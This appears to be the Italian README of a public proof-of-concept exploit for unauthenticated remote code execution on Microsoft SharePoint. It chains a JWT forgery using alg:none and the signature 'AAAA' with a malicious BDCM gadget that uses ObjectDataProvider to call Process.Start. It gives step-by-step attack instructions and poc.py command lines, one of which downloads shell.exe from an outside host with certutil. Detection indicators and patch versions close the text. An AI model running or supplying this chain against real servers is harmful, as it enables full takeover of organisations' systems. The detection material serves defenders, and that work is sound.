
Catena di exploit per RCE non autenticata su Microsoft SharePoint, che combina un bypass dell'autenticazione JWT con l'istanziazione non sicura di tipi .NET per ottenere l'esecuzione di codice come account di servizio.
RCE non autenticata su Microsoft SharePoint Server. Nessuna credenziale richiesta.
Stephen Fewer (Rapid7) ha dimostrato CVE-2026-55040 al Pwn2Own Berlin 2026. Rapid7 ha poi scoperto CVE-2026-63520 durante ricerche di follow-up, e VulnCheck ha trovato in modo indipendente una catena di gadget alternativa. Insieme, questi due bug consentono l'esecuzione remota di codice non autenticata contro qualsiasi SharePoint non patchato su internet.
CISA ha emesso avvisi entro poche ore dalla pubblicazione del PoC. È in fase di sfruttamento attivo in natura.
Due bug, una catena:
| CVE | Tipo | CVSS | Cosa compromette |
|---|---|---|---|
| CVE-2026-55040 | Bypass dell'autenticazione JWT | 9.1 | La validazione del token S2S di SharePoint presenta quattro debolezze indipendenti. Combinale e forgi un JWT valido per qualsiasi utente - inclusi gli amministratori del sito - senza conoscerne la password. |
| CVE-2026-63520 | Istanziazione non sicura di tipi .NET → RCE | 8.1 | Business Data Connectivity (BDC) risolve nomi di tipi .NET arbitrari da XML caricato senza alcuna allowlist. Puntalo a ObjectDataProvider e ottieni Process.Start(). |
Nessuno dei due bug è interessante da solo. CVE-2026-63520 richiede autenticazione. CVE-2026-55040 ti fornisce l'autenticazione. Insieme: RCE non autenticata come account di servizio SharePoint.
SharePoint utilizza JWT annidati per l'autenticazione server-to-server (S2S). Un token esterno trasporta l'identità dell'utente, un "actor token" interno rappresenta l'applicazione chiamante. Quattro debolezze in SPJsonWebSecurityTokenHandlerV2.ValidateToken() fanno crollare l'intero sistema:
Debolezza 1 - La verifica della firma è disattivata. Il validatore imposta RequireSignedTokens = false. Il token esterno accetta alg: none. Nessuna firma necessaria.
Debolezza 2 - Risoluzione di x5t senza verifica. La chiave di firma dell'actor token viene risolta cercando l'intestazione x5t (impronta del certificato) nell'archivio certificati. SharePoint non verifica mai se la firma dell'actor token corrisponde effettivamente a quella chiave.
Debolezza 3 - La validazione dell'emittente accetta certificati sconosciuti. ValidateIssuer() passa se il certificato di firma non è nella raccolta TrustedSecurityTokenServices. Il certificato STS di SharePoint non è registrato lì. Quindi, facendovi riferimento tramite x5t, la validazione dell'emittente passa incondizionatamente.
Debolezza 4 - Controllo della firma non crittografico. GetTokenSignature() richiede una stringa non vuota ma non esegue alcuna validazione crittografica. Qualsiasi valore funziona. AAAA funziona.
Il certificato STS è pubblico. Lo recuperi da /_layouts/15/metadata/json/1 - un endpoint non autenticato - calcoli l'impronta SHA-1, e hai tutto ciò che ti serve.
Token esterno (trasporta l'identità dell'utente):
// Header
{"alg": "none", "typ": "JWT"}
// Payload
{
"aud": "00000003-0000-0ff1-ce00-000000000000/SPHOST@<realm>",
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "<SID o UPN di destinazione>",
"nii": "urn:office:idp:activedirectory",
"trustedfordelegation": "true",
"actortoken": "<JWT interno>"
}
// Firma: vuota (alg:none)
Actor token interno (rappresenta l'"applicazione"):
// Header
{"alg": "RS256", "typ": "JWT", "x5t": "<impronta certificato STS>"}
// Payload
{
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nbf": 1756000000,
"exp": 1756003600
}
// Firma: "AAAA" (letteralmente qualsiasi cosa non vuota)
Tre modi per scegliere un'identità:
Il servizio Business Data Connectivity di SharePoint consente agli amministratori di definire origini dati esterne tramite file XML di modelli BDC (.bdcm). Questi modelli specificano tipi .NET che BDC istanzia a runtime.
Il problema è in DbTypeReflector.ResolveDotNetType():
// Microsoft.SharePoint.BusinessData.SystemSpecific.Db.DbTypeReflector
if (abstractTypeName.Length < 15)
{
return base.ResolveDotNetType(abstractTypeName, lobSystemStruct);
}
return Type.GetType(abstractTypeName, throwOnError: true); // qualsiasi tipo nel GAC
I nomi di tipo sotto i 15 caratteri passano attraverso un resolver sicuro. Qualsiasi cosa più lunga chiama direttamente Type.GetType() - che risolve qualsiasi nome di tipo qualificato da assembly dalla Global Assembly Cache. Nessuna allowlist. Nessuna blocklist. L'attaccante controlla abstractTypeName tramite l'XML BDCM.
Usiamo System.Windows.Data.ObjectDataProvider da PresentationFramework. Quando imposti la sua proprietà ObjectInstance, invoca MethodName su quell'istanza. Imposta MethodName = "Start" e ObjectInstance = System.Diagnostics.Process con uno StartInfo modificato, e la riflessione dei setter di proprietà di BDC fa il resto:
ObjectDataProvider creato
→ MethodName = "Start"
→ ObjectInstance = Process
→ StartInfo.FileName = "cmd.exe"
→ StartInfo.Arguments = "/c <payload>"
→ StartInfo.UseShellExecute = false
→ StartInfo.CreateNoWindow = true
→ il setter di proprietà attiva QueryWorker()
→ BeginQuery() → InvokeMethodOnInstance()
→ Type.InvokeMember("Start") → Process.Start()
L'XML BDCM che trasporta tutto questo:
<TypeDescriptor Name="ReturnRoot"
TypeName="System.Windows.Data.ObjectDataProvider, PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
<TypeDescriptors>
<TypeDescriptor Name="MethodName" TypeName="System.String">
<DefaultValues>
<DefaultValue ...>Start</DefaultValue>
</DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="ObjectInstance"
TypeName="System.Diagnostics.Process, System, ...">
<TypeDescriptor Name="StartInfo"
TypeName="System.Diagnostics.ProcessStartInfo, System, ...">
<TypeDescriptor Name="FileName" TypeName="System.String">
<DefaultValues><DefaultValue ...>cmd.exe</DefaultValue></DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="Arguments" TypeName="System.String">
<DefaultValues><DefaultValue ...>/c whoami</DefaultValue></DefaultValues>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptors>
</TypeDescriptor>
VulnCheck ha documentato una catena alternativa che utilizza System.Web.UI.LosFormatter con deserializzazione TypeConfuseDelegate tramite un LobSystem DotNetAssembly. Più gadget funzionano - la primitiva sottostante è l'istanziazione illimitata di tipi.
Attaccante Server SharePoint
│ │
│── GET /_layouts/15/metadata/json/1 ──▶│
│◀── Certificato STS (x5t + realm) ────│ (non autenticato)
│ │
│── Sessione SMB nulla verso DC ──────────▶ Domain Controller
│◀── SID di dominio ────────────────────│
│ │
│── Forgia JWT (alg:none + firma AAAA) ─│
│── POST /_api/contextinfo ──────────▶│
│◀── FormDigestValue ────────────────│ CVE-2026-55040: autenticato come admin
│ │
│── POST /_api/web/lists ────────────▶│ crea catalogo BDC
│── POST .../Files/add(evil.bdcm) ──▶│ carica catena di gadget
│── POST /_vti_bin/client.svc/ ──────▶│ attiva ProcessQuery
│ ProcessQuery │
│ │ CVE-2026-63520: Process.Start()
│ │ → cmd.exe /c <payload>
│ │ → esegue come account di servizio SP
Sei passaggi:
Recupera il certificato STS. Colpisci /_layouts/15/metadata/json/1. Nessuna autenticazione richiesta. Estrai il certificato X.509 da keys[0].keyValue.value, calcolane l'hash SHA-1, codificalo in base64url. Questo è il tuo x5t. Il campo issuer ti fornisce il realm.
Trova un amministratore del sito. Sessione SMB nulla verso il domain controller, LsarQueryInformationPolicy LSARPC per ottenere il SID di dominio, poi itera i RID (500, 1000-10000) forgiando un JWT per ciascuno finché /_api/web/currentuser non restituisce IsSiteAdmin: true. Oppure fornisci semplicemente un UPN noto.
Forgia il JWT. Esterno: alg:none, nameid = SID admin, actortoken = JWT interno. Interno: alg:RS256, x5t = impronta STS, firma = AAAA. Codifica in base64url, concatena con punti. Fatto.
L'aggiornamento cumulativo di agosto 2026 aggiunge ValidateSafeBcsType() per limitare i tipi .NET che BDC può istanziare. La correzione JWT aggiunge una corretta verifica della firma e registra il certificato STS nella raccolta dei servizi token attendibili.
Il supporto mainstream di SharePoint 2016 è terminato nel 2026. Le organizzazioni senza Extended Support potrebbero non ricevere la correzione.
Installa le dipendenze:
pip install requests
pip install impacket # necessario solo per --domain-ip con scoperta automatica del SID
python3 poc.py \
--target 192.168.1.10 \
--domain-ip 192.168.1.5 \
--cmd "cmd.exe /c whoami > C:\Windows\Temp\pwned.txt"
Lo script:
x5t e realm dai metadati STSpython3 poc.py \
--target sharepoint.corp.local \
--upn [email protected] \
--cmd "powershell -enc JABjAD0ATgBlAHcALQBPAGIA..."
python3 poc.py \
--target 10.0.0.50 \
--sid S-1-5-21-4203888158-2793536450-3921675298-500 \
--cmd "certutil -urlcache -split -f http://10.0.0.100/shell.exe C:\Windows\Temp\shell.exe"
python3 poc.py \
--target 10.0.0.50 \
--auto-upn \
--username administrator \
--cmd "calc.exe"
python3 poc.py \
--target 192.168.1.10 \
--domain-ip 192.168.1.5 \
--cmd "dummy" \
--check-only
Dovresti vedere Authenticated as: SHAREPOINT\system (System Account) [SITE ADMIN]. Questo conferma che il bypass JWT funziona e hai accesso a livello amministratore.
python3 poc.py \
--target 10.0.0.50 \
--port 8443 \
--upn [email protected] \
--cmd "whoami"
Cose da cercare:
alg: none che colpiscono gli endpoint SharePoint. I token S2S legittimi usano sempre RS256./_layouts/15/metadata/json/1 seguite da chiamate API autenticate dalla stessa IP sorgente. L'endpoint dei metadati è pubblico, ma la ricognizione seguita da accesso a livello amministratore è sospetta..bdcm che compaiono in BusinessDataMetadataCatalog. La maggior parte delle distribuzioni SharePoint non usa affatto BDC. Qualsiasi upload BDCM merita un'indagine.ProcessQuery che fanno riferimento a entità BDC sconosciute, specialmente con ObjectDataProvider o LosFormatter nei nomi dei tipi di entità.w3wp.exe (application pool di SharePoint). cmd.exe, powershell.exe, certutil.exe come processi figli del processo worker sono indicatori classici.Solo per test di sicurezza autorizzati. Ottieni il permesso scritto prima di eseguire questo strumento contro qualsiasi cosa che non possiedi.
| Modalità | nameid | nii | Cosa ti serve |
|---|
| SID | S-1-5-21-...-1605 | urn:office:idp:activedirectory | SID di dominio (tramite sessione SMB nulla) + brute su RID |
| UPN | upn_bypass + claim upn | urn:office:idp:activedirectory | Un UPN valido (es. [email protected]) |
| AccessToken | 0#.w|nt authority\local service | AccessToken | Nulla. Accesso limitato ma sufficiente per alcune catene. |
Ottieni un form digest. POST /_api/contextinfo con il token Bearer forgiato. SharePoint ti consegna un FormDigestValue per le operazioni di scrittura.
Carica il BDCM. Crea una libreria BusinessDataMetadataCatalog, carica l'XML .bdcm malevolo contenente la catena di gadget ObjectDataProvider.
Premi il grilletto. POST /_vti_bin/client.svc/ProcessQuery con una richiesta che risolve l'entità BDC. SharePoint istanzia i tipi dal BDCM, imposta le proprietà tramite riflessione, e ObjectDataProvider attiva Process.Start(). Il codice viene eseguito come account di servizio SharePoint.
| Prodotto | Vulnerabile sotto | Patch | KB |
|---|
| SharePoint Server Subscription Edition | 16.0.19725.20522 | CU di agosto 2026 | KB5002893 |
| SharePoint Server 2019 | 16.0.10417.20198 | SU di agosto 2026 | - |
| SharePoint Enterprise Server 2016 | 16.0.5565.1001 | SU di agosto 2026 | - |